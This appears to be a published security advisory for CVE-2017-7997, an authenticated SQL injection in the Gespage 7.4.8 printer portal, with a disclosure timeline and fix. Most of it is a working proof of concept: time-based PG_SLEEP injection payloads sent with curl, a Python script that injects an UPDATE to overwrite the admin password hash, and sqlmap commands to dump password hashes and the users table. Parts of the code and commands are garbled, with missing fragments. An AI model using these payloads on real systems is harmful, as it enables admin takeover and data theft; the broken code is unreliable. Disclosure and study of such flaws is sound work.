Gespage 7.4.8 SQL Injection

Type packetstorm
Reporter Mickael Karatekin
Modified 2018-01-06T00:00:00


                                            `# [CVE-2017-7997] Gespage SQL Injection vulnerability  
## Description  
Gespage is a web solution providing a printer portal. Official Website:  
The web application does not properly filter several parameters sent by  
users, allowing authenticated SQL code injection (Stacked Queries -  
These vulnerabilities could allow attackers to retrieve / update data  
from the database through the application.  
**CVE ID**: CVE-2017-7997  
**Access Vector**: remote  
**Security Risk**: high  
**Vulnerability**: CWE-89  
**CVSS Base Score**: 8.6  
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N  
### Proof of Concept (dumping database data)  
The parameters of these following pages are vulnerable:  
* Page: http://URL/ges/webapp/users/prnow.jsp  
Parameter: show_prn  
HTTP Method: Post  
* Page: http://URL/ges/webapp/users/blhistory.jsp  
Parameter: show_month  
HTTP Method: Post  
* Page: http://URL/ges/webapp/users/prhistory.jsp  
Parameter: show_month  
HTTP Method: Post  
We can then detect the SQL Injection by requesting the server with the  
curl tool, including a simple payload executing a sleep of different  
* Normal request:  
curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d "show_prn=1" --insecure -w  
"\nResponse Time:%{time_total}\n"  
Curl output: Response Time:0,122  
* Sleep Injection of 3 seconds into the request:  
"show_prn=1');SELECT PG_SLEEP(3)--" --insecure -w  
"\nResponse Time:%{time_total}\n"  
Curl output: Response Time: 3,126  
* Sleep Injection of 6 seconds into the request:  
"show_prn=1');SELECT PG_SLEEP(6)--" --insecure -w  
"\nResponse Time:%{time_total}\n"  
Curl output: Response Time: 6,126  
We created a dedicated python script to change the web admin password in  
order to compromise the web application:  
#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
$ python -c e06d40bc855c98751a5a2ff49daa -i -p 12345  
[+] Generating the new admin password hash  
=> Password hash (sha1) to inject in the Database:  
[+] Verifying connection to the web interface:  
=> Connection OK  
[+] Exploiting the SQL injection  
=> Vulnerable page:  
=> Posting Data : show_prn=A-PRINTER-ON-THE-WEB-LIST');UPDATE  
param_gespage SET param_value='8cb2237d0679ca88db6464eac60da96345513964'  
WHERE param_id='admin_pwd'--  
[+] Go to the web admin interface,  
and log on with admin:12345  
from argparse import ArgumentParser  
from hashlib import sha1  
from requests import Session  
from urllib3 import disable_warnings  
def exploit(args):  
if args.ip_url[-1] != "/":  
args.ip_url += "/"  
print "[+] Generating the new admin password hash"  
new_admin_pwd_hash = sha1(args.password).hexdigest()  
print " => Password hash (sha1) to inject in the Database: %s" %  
print "[+] Verifying connection to the web interface: %s" %  
web_session = web_connection(args.ip_url, args.cookie)  
print "[+] Exploiting the SQL injection"  
sql_injection(args.ip_url, web_session, args.cookie, new_admin_pwd_hash)  
print "[+] Go to the web admin interface, %s and log on with  
admin:%s" % (args.ip_url.replace('gespage', 'admin'), args.password)  
def sql_injection(url, session, user_cookie, new_admin_pwd_hash):  
vulnerable_url = url + "webapp/users/prnow.jsp"  
sql_update_query = "UPDATE param_gespage SET param_value='%s' WHERE  
param_id='admin_pwd'" % (new_admin_pwd_hash)  
sql_injection_payload = "A-PRINTER-ON-THE-WEB-LIST');%s--" %  
print " => Vulnerable page: %s" % (vulnerable_url)  
print " => Posting Data : show_prn=%s" %(sql_injection_payload)  
response =,  
cookies={"JSESSIONID":user_cookie}, verify=False, allow_redirects=True,  
if not response.status_code == 200:  
print " There is an error while posting the payload, try with"  
def web_connection(url, user_cookie):  
session = Session()  
response = session.get(url, verify=False, allow_redirects=False,  
if (response.status_code == 302 and "webapp/user_main.xhtml" in  
print " => Connection OK"  
return session  
print " /!\ Error while connecting the web interface with the  
specified JSESSIONID cookie"  
print " => Make sure given application URL and JSESSIONID  
cookie are correct "  
if __name__ == '__main__':  
parser = ArgumentParser(description='Exploit Gespage SQL injection  
by updating the admin password. You must create then specify an existing  
user in order to exploit the vulnerability')  
parser.add_argument('-i','--ip_url', help='The web interface URL,  
ex: http://IP_ADDRESS:7181/gespage/',required=True)  
parser.add_argument('-c','--cookie', help='JSESSIONID cookie of an  
authenticated user',required=True)  
parser.add_argument('-p','--password', help='New admin  
Using [sqlmap](, it is also  
possible to dump the content of the database, write other data, etc.  
Dumping the admin password hash (if changed from the initial 123456  
python -u "https://URL:7181/gespage/users/prnow.jsp"  
--data="show_prn=A-PRINTER-ON-THE-WEB-LIST" --dbms=PostgreSQL --risk 3  
--level 5 --technique TS -D public -T param_gespage -C param_value  
--time-sec 2 --dump --flush-session  
Dumping the users table:  
``` -u "https://URL:7181/gespage/users/prnow.jsp"  
--data="show_prn=A-PRINTER-ON-THE-WEB-LIST" --dbms=PostgreSQL --risk 3  
--level 5 --technique TS -D public -T users --time-sec 2 --dump  
## Timeline (dd/mm/yyyy)  
* 06/03/2017 : Initial discovery  
* 13/03/2017 : First contact attempt (Web form)  
* 21/04/2017 : Second contact attempt (public e-mail address)  
* 23/06/2017 : Phone call and successful e-mail contact  
* 23/06/2017 : Technical details sent to the editor  
* 20/07/2017 : No reply, follow-up e-mail  
* 27/07/2017 : Reply: fix planned for major release 7.5.0 in late September  
* 17/09/2017 : Informing the editor that we would publish in October  
* 3/10/2017 : Feedback from Gespage informing us that the issue has been  
fixed with version 7.4.9.  
* 02/01/2018 : Release of the advisory  
## Fixes  
Upgrade to Gespage 7.4.9  
## Affected versions  
* Versions up to 7.4.8  
## Credits  
* Mickael KARATEKIN <>  
SYSDREAM Labs <>  
GPG :  
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* Website:  
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